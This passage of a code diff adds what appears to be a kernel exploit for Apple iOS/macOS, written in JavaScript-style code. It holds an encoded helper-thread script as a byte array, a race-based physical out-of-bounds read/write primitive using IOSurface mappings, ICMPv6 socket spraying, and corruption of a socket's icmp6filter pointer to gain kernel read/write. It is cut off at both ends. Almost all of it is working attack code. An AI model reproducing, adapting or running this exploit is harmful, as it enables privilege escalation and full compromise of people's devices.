105, 116, 101, 54, 52, 40, 116, 104, 114, 101, 97, 100, 115, 32, 43, 32, 48, 120, 50, 48, 110, 44, 32, 48, 120, 48, 110, 41, 59, 10, 32, 32, 32, 32, 47, 47, 32, 76, 79, 71, 40, 34, 91, 43, 93, 32, 103, 99, 32, 100, 105, 115, 97, 114, 109, 101, 100, 34, 41, 59, 10, 125, 10, 10, 100, 105, 115, 97, 98, 108, 101, 95, 103, 99, 40, 41, 59, 10, 100, 105, 115, 97, 114, 109, 95, 103, 99, 40, 41, 59, 10, 101, 110, 97, 98, 108, 101, 95, 103, 99, 40, 41, 59, 10, 10, 10, 76, 79, 71, 40, 34, 91, 43, 93, 32, 72, 101, 108, 108, 111, 32, 102, 114, 111, 109, 58, 32, 34, 32, 43, 32, 109, 97, 99, 104, 95, 116, 104, 114, 101, 97, 100, 95, 115, 101, 108, 102, 40, 41, 46, 104, 101, 120, 40, 41, 41, 59, 10, 76, 79, 71, 40, 34, 91, 43, 93, 32, 116, 104, 114, 101, 97, 100, 95, 97, 114, 103, 58, 32, 34, 32, 43, 32, 116, 104, 114, 101, 97, 100, 95, 97, 114, 103, 46, 104, 101, 120, 40, 41, 41, 59, 10, 10, 108, 101, 116, 32, 115, 104, 97, 114, 101, 100, 95, 109, 101, 109, 32, 61, 32, 116, 104, 114, 101, 97, 100, 95, 97, 114, 103, 59, 10, 108, 101, 116, 32, 102, 114, 101, 101, 95, 116, 104, 114, 101, 97, 100, 95, 115, 116, 97, 114, 116, 95, 112, 116, 114, 32, 61, 32, 115, 104, 97, 114, 101, 100, 95, 109, 101, 109, 59, 10, 108, 101, 116, 32, 102, 114, 101, 101, 95, 116, 97, 114, 103, 101, 116, 95, 115, 121, 110, 99, 95, 112, 116, 114, 32, 61, 32, 115, 104, 97, 114, 101, 100, 95, 109, 101, 109, 32, 43, 32, 48, 120, 56, 110, 59, 10, 108, 101, 116, 32, 102, 114, 101, 101, 95, 116, 97, 114, 103, 101, 116, 95, 115, 105, 122, 101, 95, 115, 121, 110, 99, 95, 112, 116, 114, 32, 61, 32, 115, 104, 97, 114, 101, 100, 95, 109, 101, 109, 32, 43, 32, 48, 120, 49, 48, 110, 59, 10, 108, 101, 116, 32, 116, 97, 114, 103, 101, 116, 95, 111, 98, 106, 101, 99, 116, 95, 115, 121, 110, 99, 95, 112, 116, 114, 32, 61, 32, 115, 104, 97, 114, 101, 100, 95, 109, 101, 109, 32, 43, 32, 48, 120, 49, 56, 110, 59, 10, 108, 101, 116, 32, 116, 97, 114, 103, 101, 116, 95, 111, 98, 106, 101, 99, 116, 95, 111, 102, 102, 115, 101, 116, 95, 115, 121, 110, 99, 95, 112, 116, 114, 32, 61, 32, 115, 104, 97, 114, 101, 100, 95, 109, 101, 109, 32, 43, 32, 48, 120, 50, 48, 110, 59, 10, 108, 101, 116, 32, 103, 111, 95, 115, 121, 110, 99, 95, 112, 116, 114, 32, 61, 32, 115, 104, 97, 114, 101, 100, 95, 109, 101, 109, 32, 43, 32, 48, 120, 50, 56, 110, 59, 10, 108, 101, 116, 32, 114, 97, 99, 101, 95, 115, 121, 110, 99, 95, 112, 116, 114, 32, 61, 32, 115, 104, 97, 114, 101, 100, 95, 109, 101, 109, 32, 43, 32, 48, 120, 51, 48, 110, 59, 10, 10, 99, 109, 112, 56, 95, 119, 97, 105, 116, 95, 102, 111, 114, 95, 99, 104, 97, 110, 103, 101, 40, 102, 114, 101, 101, 95, 116, 104, 114, 101, 97, 100, 95, 115, 116, 97, 114, 116, 95, 112, 116, 114, 44, 32, 48, 41, 59, 10, 10, 108, 101, 116, 32, 102, 114, 101, 101, 95, 116, 97, 114, 103, 101, 116, 32, 61, 32, 117, 114, 101, 97, 100, 54, 52, 40, 102, 114, 101, 101, 95, 116, 97, 114, 103, 101, 116, 95, 115, 121, 110, 99, 95, 112, 116, 114, 41, 59, 10, 108, 101, 116, 32, 102, 114, 101, 101, 95, 116, 97, 114, 103, 101, 116, 95, 115, 105, 122, 101, 32, 61, 32, 117, 114, 101, 97, 100, 54, 52, 40, 102, 114, 101, 101, 95, 116, 97, 114, 103, 101, 116, 95, 115, 105, 122, 101, 95, 115, 121, 110, 99, 95, 112, 116, 114, 41, 59, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 102, 114, 101, 101, 95, 116, 104, 114, 101, 97, 100, 40, 41, 32, 123, 10, 32, 32, 32, 32, 99, 109, 112, 56, 95, 119, 97, 105, 116, 95, 102, 111, 114, 95, 99, 104, 97, 110, 103, 101, 40, 103, 111, 95, 115, 121, 110, 99, 95, 112, 116, 114, 44, 32, 48, 41, 59, 10, 10, 32, 32, 32, 32, 119, 104, 105, 108, 101, 32, 40, 117, 114, 101, 97, 100, 54, 52, 40, 103, 111, 95, 115, 121, 110, 99, 95, 112, 116, 114, 41, 32, 33, 61, 32, 48, 110, 41, 32, 123, 10, 10, 32, 32, 32, 32, 32, 32, 32, 32, 47, 47, 32, 101, 110, 97, 98, 108, 101, 95, 103, 99, 40, 41, 59, 10, 32, 32, 32, 32, 32, 32, 32, 32, 99, 109, 112, 56, 95, 119, 97, 105, 116, 95, 102, 111, 114, 95, 99, 104, 97, 110, 103, 101, 40, 114, 97, 99, 101, 95, 115, 121, 110, 99, 95, 112, 116, 114, 44, 32, 48, 41, 59, 10, 32, 32, 32, 32, 32, 32, 32, 32, 47, 47, 32, 100, 105, 115, 97, 98, 108, 101, 95, 103, 99, 40, 41, 59, 10, 10, 32, 32, 32, 32, 32, 32, 32, 32, 108, 101, 116, 32, 116, 97, 114, 103, 101, 116, 95, 111, 98, 106, 101, 99, 116, 32, 61, 32, 117, 114, 101, 97, 100, 54, 52, 40, 116, 97, 114, 103, 101, 116, 95, 111, 98, 106, 101, 99, 116, 95, 115, 121, 110, 99, 95, 112, 116, 114, 41, 59, 10, 32, 32, 32, 32, 32, 32, 32, 32, 108, 101, 116, 32, 116, 97, 114, 103, 101, 116, 95, 111, 98, 106, 101, 99, 116, 95, 111, 102, 102, 115, 101, 116, 32, 61, 32, 117, 114, 101, 97, 100, 54, 52, 40, 116, 97, 114, 103, 101, 116, 95, 111, 98, 106, 101, 99, 116, 95, 111, 102, 102, 115, 101, 116, 95, 115, 121, 110, 99, 95, 112, 116, 114, 41, 59, 10, 10, 32, 32, 32, 32, 32, 32, 32, 32, 47, 47, 32, 65, 108, 108, 111, 99, 97, 116, 101, 32, 97, 32, 110, 101, 119, 32, 110, 111, 110, 45, 99, 111, 110, 116, 105, 103, 117, 111, 117, 115, 32, 109, 97, 112, 32, 101, 110, 116, 114, 121, 32, 40, 111, 112, 116, 105, 111, 110, 97, 108, 108, 121, 32, 117, 115, 105, 110, 103, 32, 97, 32, 109, 101, 109, 111, 114, 121, 32, 111, 98, 106, 101, 99, 116, 41, 10, 32, 32, 32, 32, 32, 32, 32, 32, 107, 114, 32, 61, 32, 109, 97, 99, 104, 95, 118, 109, 95, 109, 97, 112, 40, 109, 97, 99, 104, 95, 116, 97, 115, 107, 95, 115, 101, 108, 102, 40, 41, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 103, 101, 116, 95, 98, 105, 103, 105, 110, 116, 95, 97, 100, 100, 114, 40, 102, 114, 101, 101, 95, 116, 97, 114, 103, 101, 116, 41, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 102, 114, 101, 101, 95, 116, 97, 114, 103, 101, 116, 95, 115, 105, 122, 101, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 48, 110, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 86, 77, 95, 70, 76, 65, 71, 83, 95, 70, 73, 88, 69, 68, 32, 124, 32, 86, 77, 95, 70, 76, 65, 71, 83, 95, 79, 86, 69, 82, 87, 82, 73, 84, 69, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 116, 97, 114, 103, 101, 116, 95, 111, 98, 106, 101, 99, 116, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 116, 97, 114, 103, 101, 116, 95, 111, 98, 106, 101, 99, 116, 95, 111, 102, 102, 115, 101, 116, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 48, 110, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 86, 77, 95, 80, 82, 79, 84, 95, 68, 69, 70, 65, 85, 76, 84, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 86, 77, 95, 80, 82, 79, 84, 95, 68, 69, 70, 65, 85, 76, 84, 44, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 86, 77, 95, 73, 78, 72, 69, 82, 73, 84, 95, 78, 79, 78, 69, 41, 59, 10, 10, 32, 32, 32, 32, 32, 32, 32, 32, 105, 102, 32, 40, 107, 114, 32, 33, 61, 32, 75, 69, 82, 78, 95, 83, 85, 67, 67, 69, 83, 83, 41, 32, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 76, 79, 71, 40, 34, 91, 45, 93, 32, 109, 97, 99, 104, 95, 118, 109, 95, 109, 97, 112, 32, 102, 97, 105, 108, 101, 100, 32, 33, 33, 33, 34, 41, 59, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 76, 79, 71, 40, 34, 91, 43, 93, 32, 102, 114, 101, 101, 95, 116, 97, 114, 103, 101, 116, 58, 32, 34, 32, 43, 32, 102, 114, 101, 101, 95, 116, 97, 114, 103, 101, 116, 46, 104, 101, 120, 40, 41, 41, 59, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 76, 79, 71, 40, 34, 91, 43, 93, 32, 116, 97, 114, 103, 101, 116, 95, 111, 98, 106, 101, 99, 116, 58, 32, 34, 32, 43, 32, 116, 97, 114, 103, 101, 116, 95, 111, 98, 106, 101, 99, 116, 46, 104, 101, 120, 40, 41, 41, 59, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 101, 120, 105, 116, 40, 48, 110, 41, 59, 10, 32, 32, 32, 32, 32, 32, 32, 32, 125, 10, 10, 32, 32, 32, 32, 32, 32, 32, 32, 117, 119, 114, 105, 116, 101, 54, 52, 40, 114, 97, 99, 101, 95, 115, 121, 110, 99, 95, 112, 116, 114, 44, 32, 48, 110, 41, 59, 10, 32, 32, 32, 32, 125, 10, 10, 32, 32, 32, 32, 47, 47, 32, 101, 110, 97, 98, 108, 101, 95, 103, 99, 40, 41, 59, 10, 125, 10, 10, 102, 114, 101, 101, 95, 116, 104, 114, 101, 97, 100, 40, 41, 59, 0]); + let free_thread_js = 0n; + if (free_thread_js == 0n) { + free_thread_js = free_thread_js_data; + } + free_thread_jsthread = js_thread_spawn(free_thread_js, free_thread_arg); + } + let default_file_content = calloc(1n, target_file_size); + memset_pattern8(default_file_content, get_bigint_addr(random_marker), target_file_size); + function create_target_file(path) { + let fd = fopen(path, get_cstring("w")); + let written = fwrite(default_file_content, 1n, target_file_size, fd); + fclose(fd); + } + function create_physically_contiguous_mapping(port, address, size) { + let dict = CFDictionaryCreateMutable(kCFAllocatorDefault, 0n, kCFTypeDictionaryKeyCallBacks, kCFTypeDictionaryValueCallBacks); + let cf_number = CFNumberCreate(kCFAllocatorDefault, 9n, get_bigint_addr(size)); + res = CFDictionarySetValue(dict, kIOSurfaceAllocSize, cf_number); + let cfstring = create_cfstring(get_cstring("PurpleGfxMem")); + res = CFDictionarySetValue(dict, create_cfstring(get_cstring("IOSurfaceMemoryRegion")), cfstring); + let surface = IOSurfaceCreate(dict); + CFRelease(dict); + if (surface == 0n) { + LOG("[-] Failed to create surface!!!"); + exit(0n); + } + let physical_mapping_address = IOSurfaceGetBaseAddress(surface); + LOG("[+] physical_mapping_address: " + physical_mapping_address.hex()); + let memory_object = new_bigint(); + let kr = mach_make_memory_entry_64(mach_task_self(), get_bigint_addr(size), physical_mapping_address, VM_PROT_DEFAULT, get_bigint_addr(memory_object), 0n); + if (kr != KERN_SUCCESS) { + LOG("[-] mach_make_memory_entry_64 failed!!!"); + exit(0n); + } + let new_mapping_address = new_bigint(); + kr = mach_vm_map(mach_task_self(), get_bigint_addr(new_mapping_address), size, 0n, VM_FLAGS_ANYWHERE | VM_FLAGS_RANDOM_ADDR, memory_object, 0n, 0n, VM_PROT_DEFAULT, VM_PROT_DEFAULT, VM_INHERIT_NONE); + if (kr != KERN_SUCCESS) { + LOG("[-] mach_vm_map failed!!!"); + exit(0n); + } + CFRelease(surface); + uwrite64(port, memory_object); + uwrite64(address, new_mapping_address); + } + function initialize_physical_read_write(contiguous_mapping_size) { + pc_size = contiguous_mapping_size; + create_physically_contiguous_mapping(get_bigint_addr(pc_object), get_bigint_addr(pc_address), pc_size); + LOG("[+] pc_object: " + pc_object.hex()); + LOG("[+] pc_address: " + pc_address.hex()); + memset_pattern8(pc_address, get_bigint_addr(random_marker), pc_size); + free_target = pc_address; + free_target_size = pc_size; + uwrite64(free_target_sync_ptr, free_target); + uwrite64(free_target_size_sync_ptr, free_target_size); + uwrite64(free_thread_start_ptr, 1n); + uwrite64(go_sync_ptr, 1n); + } + let iov = calloc(1n, 0x10n); + let highiest_success_idx = 0n; + let success_read_count = 0n; + function physical_oob_read_mo(mo, mo_offset, size, offset, buffer) { + uwrite64(target_object_sync_ptr, mo); + uwrite64(target_object_offset_sync_ptr, mo_offset); + uwrite64(iov + 0x00n, pc_address + 0x3f00n); + uwrite64(iov + 0x08n, offset + size); + uwrite64(buffer, random_marker); + uwrite64(pc_address + 0x3f00n + offset, random_marker); + let read_race_succeeded = false; + let w = 0n; + for (let try_idx = 0n; try_idx < highiest_success_idx + 100n; try_idx++) { + uwrite64(race_sync_ptr, 1n); + w = pwritev(read_fd, iov, 1n, 0x3f00n); + cmp8_wait_for_change(race_sync_ptr, 1); + kr = mach_vm_map(mach_task_self(), get_bigint_addr(pc_address), pc_size, 0n, VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE, pc_object, 0n, 0n, VM_PROT_DEFAULT, VM_PROT_DEFAULT, VM_INHERIT_NONE); + if (kr != KERN_SUCCESS) { + LOG("[-] mach_vm_map failed!!!"); + exit(0n); + } + if (w == 0xFFFFFFFFFFFFFFFFn) { + let r = pread(read_fd, buffer, size, 0x3f00n + offset); + let marker = uread64(buffer); + if (marker != random_marker) { + read_race_succeeded = true; + success_read_count += 0x1n; + if (try_idx > highiest_success_idx) { + highiest_success_idx = try_idx; + } + break; + } else { + usleep(1n); + } + } + if (try_idx == 500n) { + break; + } + } + uwrite64(target_object_sync_ptr, 0n); + if (read_race_succeeded == false) { + return 1n; + } + return KERN_SUCCESS; + } + function physical_oob_read_mo_with_retry(memory_object, seeking_offset, oob_size, oob_offset, read_buffer) { + while (true) { + kr = physical_oob_read_mo(memory_object, seeking_offset, oob_size, oob_offset, read_buffer); + if (kr == KERN_SUCCESS) { + break; + } + } + } + function physical_oob_write_mo(mo, mo_offset, size, offset, buffer) { + uwrite64(target_object_sync_ptr, mo); + uwrite64(target_object_offset_sync_ptr, mo_offset); + uwrite64(iov + 0x00n, pc_address + 0x3f00n); + uwrite64(iov + 0x08n, offset + size); + pwrite(write_fd, buffer, size, 0x3f00n + offset); + for (let try_idx = 0n; try_idx < 20n; try_idx++) { + uwrite64(race_sync_ptr, 1n); + preadv(write_fd, iov, 1n, 0x3f00n); + cmp8_wait_for_change(race_sync_ptr, 1); + kr = mach_vm_map(mach_task_self(), get_bigint_addr(pc_address), pc_size, 0n, VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE, pc_object, 0n, 0n, VM_PROT_DEFAULT, VM_PROT_DEFAULT, VM_INHERIT_NONE); + if (kr != KERN_SUCCESS) { + LOG("[-] mach_vm_map failed!!!"); + exit(0n); + } + } + uwrite64(target_object_sync_ptr, 0n); + return; + } + let control_socket = 0n; + let rw_socket = 0n; + let control_socket_pcb = 0n; + let rw_socket_pcb = 0n; + let EARLY_KRW_LENGTH = 0x20n; + let control_data = calloc(1n, EARLY_KRW_LENGTH); + function set_target_kaddr(where) { + memset(control_data, 0n, EARLY_KRW_LENGTH); + uwrite64(control_data, where); + let res = setsockopt(control_socket, IPPROTO_ICMPV6, ICMP6_FILTER, control_data, EARLY_KRW_LENGTH); + if (res != 0n) { + LOG("[-] setsockopt failed!!!"); + exit(0n); + } + } + function early_kread(where, read_buf, size) { + if (size > EARLY_KRW_LENGTH) { + LOG("[!] error: (size > EARLY_KRW_LENGTH)"); + exit(0n); + } + set_target_kaddr(where); + let read_data_length = BigInt(size); + res = getsockopt(rw_socket, IPPROTO_ICMPV6, ICMP6_FILTER, read_buf, get_bigint_addr(read_data_length)); + if (res != 0n) { + LOG("[-] getsockopt failed!!!"); + exit(0n); + } + } + function early_kread64(where) { + let value = new_bigint(); + let res = early_kread(where, get_bigint_addr(value), 0x8n); + return update_bigint(value); + } + function early_kwrite32bytes(where, write_buf) { + set_target_kaddr(where); + let res = setsockopt(rw_socket, IPPROTO_ICMPV6, ICMP6_FILTER, write_buf, EARLY_KRW_LENGTH); + if (res != 0n) { + LOG("[-] setsockopt failed!!!"); + exit(0n); + } + } + let early_kwrite64_write_buf = calloc(1n, EARLY_KRW_LENGTH); + function early_kwrite64(where, what) { + early_kread(where, early_kwrite64_write_buf, EARLY_KRW_LENGTH); + uwrite64(early_kwrite64_write_buf, what); + early_kwrite32bytes(where, early_kwrite64_write_buf); + } + function kread_length(address, buffer, size) { + let remaining = BigInt(size); + let read_offset = 0n; + let read_size = 0n; + while (remaining != 0n) { + if (remaining >= EARLY_KRW_LENGTH) { + read_size = EARLY_KRW_LENGTH; + } else { + read_size = remaining % EARLY_KRW_LENGTH; + } + early_kread(address + read_offset, buffer + read_offset, read_size); + remaining -= read_size; + read_offset += read_size; + } + } + let kwrite_length_buffer = calloc(1n, EARLY_KRW_LENGTH); + function kwrite_length(dst, src, size) { + let remaining = BigInt(size); + let write_offset = 0n; + let write_size = 0n; + while (remaining != 0n) { + if (remaining >= EARLY_KRW_LENGTH) { + write_size = EARLY_KRW_LENGTH; + } else { + write_size = remaining % EARLY_KRW_LENGTH; + } + let kwrite_dst_addr = dst + write_offset; + let kwrite_src_addr = src + write_offset; + if (write_size != EARLY_KRW_LENGTH) { + kread_length(kwrite_dst_addr, kwrite_length_buffer, EARLY_KRW_LENGTH); + } + memcpy(kwrite_length_buffer, kwrite_src_addr, write_size); + early_kwrite32bytes(kwrite_dst_addr, kwrite_length_buffer); + remaining -= write_size; + write_offset += write_size; + } + } + function kwrite_zone_element(dst, src, len) { + let CHAIN_WRITE_ZONE_ELEMENT_MIN_SIZE = 0x20n; + if (len < CHAIN_WRITE_ZONE_ELEMENT_MIN_SIZE) { + LOG("kwrite_zone_element supports only zone element size >= 0x20"); + return false; + } + let write_size = 0n; + let write_offset = 0n; + let remaining = BigInt(len); + while (remaining != 0n) { + write_size = remaining >= CHAIN_WRITE_ZONE_ELEMENT_MIN_SIZE ? CHAIN_WRITE_ZONE_ELEMENT_MIN_SIZE : remaining % CHAIN_WRITE_ZONE_ELEMENT_MIN_SIZE; + let kwrite_dst_addr = dst + write_offset; + let kwrite_src_addr = src + write_offset; + if (write_size != CHAIN_WRITE_ZONE_ELEMENT_MIN_SIZE) { + let adjust = CHAIN_WRITE_ZONE_ELEMENT_MIN_SIZE - write_size; + kwrite_dst_addr -= adjust; + kwrite_src_addr -= adjust; + } + kwrite_length(kwrite_dst_addr, kwrite_src_addr, CHAIN_WRITE_ZONE_ELEMENT_MIN_SIZE); + remaining -= write_size; + write_offset += write_size; + } + return true; + } + function kdump(where, size, msg = "") { + LOG(`[+] ----------- ${msg} ----------`); + for (let i = 0n; i < size; i += 0x10n) { + LOG(`[+] [${i.hex()}] ${(where + i).hex()}:\t${early_kread64(where + i).hex()} ${early_kread64(where + i + 8n).hex()}`); + } + } + function krw_sockets_leak_forever() { + let offset_pcb_socket = 0x40n; + let offset_socket_so_count = 0x254n; + let control_socket_addr = early_kread64(control_socket_pcb + offset_pcb_socket); + let rw_socket_addr = early_kread64(rw_socket_pcb + offset_pcb_socket); + if (control_socket_addr == 0n || rw_socket_addr == 0n) { + LOG("[-] Couldn't find control_socket_addr || rw_socket_addr"); + exit(0n); + } + let control_socket_so_count = early_kread64(control_socket_addr + offset_socket_so_count); + let rw_socket_so_count = early_kread64(rw_socket_addr + offset_socket_so_count); + early_kwrite64(control_socket_addr + offset_socket_so_count, control_socket_so_count + 0x0000100100001001n); + early_kwrite64(rw_socket_addr + offset_socket_so_count, rw_socket_so_count + 0x0000100100001001n); + let icmp6filt_offset = 0x148n; + early_kwrite64(rw_socket_pcb + icmp6filt_offset + 0x8n, 0n); + } + let socket_ports = []; + let socket_pcb_ids = []; + let socket_ports_count = 0n; + let getsockopt_read_length = 32n; + let getsockopt_read_data = calloc(1n, getsockopt_read_length); + let socket_info = calloc(1n, 0x400n); + function spray_socket(socket_ports, socket_pcb_ids) { + let fd = socket(AF_INET6, SOCK_DGRAM, IPPROTO_ICMPV6); + if (fd == 0xFFFFFFFFFFFFFFFFn) { + LOG("[-] socket create failed!!!"); + return fd; + } + let output_socket_port = new_bigint(); + fileport_makeport(fd, get_bigint_addr(output_socket_port)); + close(fd); + let r = syscall(336n, 6n, getpid(), 3n, output_socket_port, socket_info, 0x400n); + let inp_gencnt = uread64(socket_info + 0x110n); + socket_ports.push(output_socket_port); + socket_pcb_ids.push(inp_gencnt); + return output_socket_port; + } + function sockets_release() { + for (let sock_idx = 0n; sock_idx < socket_ports_count; sock_idx++) { + let port = socket_ports.pop(); + mach_port_deallocate(mach_task_self(), port); + socket_pcb_ids.pop(); + } + socket_ports_count = 0n; + } + function create_surface_with_address(address, size) { + let properties = CFDictionaryCreateMutable(kCFAllocatorDefault, 0n, kCFTypeDictionaryKeyCallBacks, kCFTypeDictionaryValueCallBacks); + let address_ptr = new_uint64_t(address); + let address_number = CFNumberCreate(kCFAllocatorDefault, 11n, address_ptr); + CFDictionarySetValue(properties, create_cfstring(get_cstring("IOSurfaceAddress")), address_number); + let size_ptr = new_uint64_t(size); + let size_number = CFNumberCreate(kCFAllocatorDefault, 9n, size_ptr); + CFDictionarySetValue(properties, create_cfstring(get_cstring("IOSurfaceAllocSize")), size_number); + let surface = IOSurfaceCreate(properties); + IOSurfacePrefetchPages(surface); + free(address_ptr); + free(size_ptr); + CFRelease(address_number); + CFRelease(size_number); + CFRelease(properties); + return surface; + } + let mlock_dict = {}; + function surface_mlock(address, size) { + let surf = create_surface_with_address(address, size); + mlock_dict[address] = surf; + } + function surface_munlock(address, size) { + if (mlock_dict[address] != undefined) { + CFRelease(mlock_dict[address]); + } + mlock_dict[address] = undefined; + } + function find_and_corrupt_socket(memory_object, seeking_offset, read_buffer, write_buffer, target_inp_gencnt_list, do_read = true) { + if (do_read == true) { + physical_oob_read_mo_with_retry(memory_object, seeking_offset, oob_size, oob_offset, read_buffer); + } + let search_start_idx = 0n; + let target_found = false; + let pcb_start_offset = 0n; + let icmp6filt_offset = 0x148n; + let found = 0n; + do { + found = memmem(read_buffer + search_start_idx, oob_size - search_start_idx, executable_name, strlen(executable_name)); + if (found != 0n) { + pcb_start_offset = found - read_buffer & 0xFFFFFFFFFFFFFC00n; + if (uread64(read_buffer + pcb_start_offset + icmp6filt_offset + 0x8n) == 0x0000ffffffffffffn) { + target_found = true; + break; + } + } + search_start_idx += 0x400n; + } while (found != 0n && search_start_idx < oob_size); + if (target_found == true) { + LOG("[+] pcb_start_offset: " + pcb_start_offset.hex()); + let target_inp_gencnt = uread64(read_buffer + pcb_start_offset + 0x78n); + LOG("[+] target_inp_gencnt: " + target_inp_gencnt.hex()); + if (target_inp_gencnt == socket_pcb_ids[socket_ports_count - 1n]) { + LOG(`[-] Found last PCB`); + return -1n; + } + let is_our_pcb = false; + let control_socket_idx = undefined; + for (let sock_idx = 0n; sock_idx < socket_ports_count; sock_idx++) { + if (socket_pcb_ids[sock_idx] == target_inp_gencnt) { + is_our_pcb = true; + control_socket_idx = sock_idx; + break; + } + } + if (is_our_pcb == false) { + LOG(`[-] Found freed PCB Page!`); + return -1n; + } + if (target_inp_gencnt_list.includes(target_inp_gencnt)) { + LOG(`[-] Found old PCB Page!!!!`); + return -1n; + } else { + target_inp_gencnt_list.push(target_inp_gencnt); + } + let inp_list_next_pointer = uread64(read_buffer + pcb_start_offset + 0x28n) - 0x20n; + let icmp6filter = uread64(read_buffer + pcb_start_offset + icmp6filt_offset); + LOG("[+] inp_list_next_pointer: " + inp_list_next_pointer.hex()); + LOG("[+] icmp6filter: " + icmp6filter.hex()); + rw_socket_pcb = BigInt(inp_list_next_pointer); + memcpy(write_buffer, read_buffer, oob_size); + uwrite64(write_buffer + pcb_start_offset + icmp6filt_offset, inp_list_next_pointer + icmp6filt_offset); + uwrite64(write_buffer + pcb_start_offset + icmp6filt_offset + 0x8n, 0n); + LOG("[+] Corrupting icmp6filter pointer..."); + while (true) { + physical_oob_write_mo(memory_object, seeking_offset, oob_size, oob_offset, write_buffer); + physical_oob_read_mo_with_retry(memory_object, seeking_offset, oob_size, oob_offset, read_buffer); + let new_icmp6filter = uread64(read_buffer + pcb_start_offset + icmp6filt_offset); + if (new_icmp6filter == inp_list_next_pointer + icmp6filt_offset) { + LOG("[+] target corrupted: " + uread64(read_buffer + pcb_start_offset + icmp6filt_offset).hex()); + break; + } + } + let sock = fileport_makefd(socket_ports[control_socket_idx]); + let res = getsockopt(sock, IPPROTO_ICMPV6, ICMP6_FILTER, getsockopt_read_data, get_bigint_addr(getsockopt_read_length)); + if (res != 0n) { + LOG("[-] getsockopt failed!!!"); + exit(0n); + } + let marker = uread64(getsockopt_read_data); + if (marker != 0xffffffffffffffffn) { + LOG("[+] Found control_socket at idx: " + control_socket_idx.hex()); + control_socket = sock; + rw_socket = fileport_makefd(socket_ports[control_socket_idx + 0x1n]); + return KERN_SUCCESS; + } else { + LOG("[-] Failed to corrupt control_socket at idx: " + control_socket_idx.hex()); + } + } + return -1n; + } + let kernel_base = 0n; + let kernel_slide = 0n; + let is_a18_devices = false; + function pe_v1() { + let n_of_total_search_mapping_pages = 0x1000n * 0x10n; + if (is_a18_devices) { + n_of_total_search_mapping_pages = 0x10n * 0x10n; + } + let search_mapping_size = 0x2000n * PAGE_SIZE; + if (is_a18_devices) { + search_mapping_size = 0x10n * PAGE_SIZE; + } + let total_search_mapping_size = n_of_total_search_mapping_pages * PAGE_SIZE; + let n_of_search_mappings = total_search_mapping_size / search_mapping_size; + let read_buffer = calloc(1n, oob_size); + let write_buffer = calloc(1n, oob_size); + initialize_physical_read_write(n_of_oob_pages * PAGE_SIZE); + let wired_mapping = new_bigint(); + let wired_mapping_size = 1024n * 1024n * 1024n * 3n; + if (is_a18_devices) { + kr = mach_vm_allocate(mach_task_self(), get_bigint_addr(wired_mapping), wired_mapping_size, VM_FLAGS_ANYWHERE); + LOG(`[+] wired_mapping: ${wired_mapping.hex()}`); + } + let target_inp_gencnt_list = []; + while (true) { + if (is_a18_devices) { + surface_mlock(wired_mapping, wired_mapping_size); + for (let s = 0n; s < wired_mapping_size / 0x4000n; s++) { + uwrite64(wired_mapping + s * 0x4000n, 0n); + } + } + let search_mappings = []; + for (let s = 0n; s < n_of_search_mappings; s++) { + let search_mapping_address = new_bigint(); + kr = mach_vm_allocate(mach_task_self(), get_bigint_addr(search_mapping_address), search_mapping_size, VM_FLAGS_ANYWHERE | VM_FLAGS_RANDOM_ADDR); + if (kr != KERN_SUCCESS) { + LOG("[-] mach_vm_allocate failed!!!"); + exit(0n); + } + for (let k = 0n; k < search_mapping_size; k += PAGE_SIZE) { + uwrite64(search_mapping_address + k, random_marker); + } + search_mappings.push(search_mapping_address); + } + socket_ports = []; + socket_pcb_ids = []; + socket_ports_count = 0n; + const OPEN_MAX = 10240n; + let maxfiles = 3n * OPEN_MAX; + let leeway = 4096n * 2n; + for (let socket_count = 0n; socket_count < maxfiles - leeway; socket_count++) { + let port = spray_socket(socket_ports, socket_pcb_ids); + if (port == 0xFFFFFFFFFFFFFFFFn) { + LOG("[-] Failed to spray sockets: " + socket_ports_count.hex()); + break; + } else { + socket_ports_count++; + } + } + let start_pcb_id = socket_pcb_ids[0]; + let end_pcb_id = socket_pcb_ids[socket_ports_count - 1n]; + LOG(`[i] socket_ports_count: ${socket_ports_count.hex()}`); + LOG(`[i] start_pcb_id: ${start_pcb_id.hex()}`); + LOG(`[i] end_pcb_id: ${end_pcb_id.hex()}`); + let success = false; + for (let s = 0n; s < n_of_search_mappings; s++) { + let search_mapping_address = search_mappings[s]; + LOG("[i] looking in search mapping: " + s); + let memory_object = new_bigint(); + let memory_object_size = BigInt(search_mapping_size); + kr = mach_make_memory_entry_64(mach_task_self(), get_bigint_addr(memory_object_size), search_mapping_address, VM_PROT_DEFAULT, get_bigint_addr(memory_object), 0n); + if (kr != 0n) { + LOG("[-] mach_make_memory_entry_64 failed!!!"); + exit(0n); + } + surface_mlock(search_mapping_address, search_mapping_size); + let seeking_offset = 0n; + while (seeking_offset < search_mapping_size) { + kr = physical_oob_read_mo(memory_object, seeking_offset, oob_size, oob_offset, read_buffer); + if (kr == KERN_SUCCESS) { + if (find_and_corrupt_socket(memory_object, seeking_offset, read_buffer, write_buffer, target_inp_gencnt_list, false) == KERN_SUCCESS) { + success = true; + break; + } + } + seeking_offset += PAGE_SIZE; + } + kr = mach_port_deallocate(mach_task_self(), memory_object); + if (kr != KERN_SUCCESS) { + LOG("[-] mach_port_deallocate failed!!!"); + exit(0n); + } + if (success == true) { + break; + } + } + sockets_release(); + for (let s = 0n; s < n_of_search_mappings; s++) 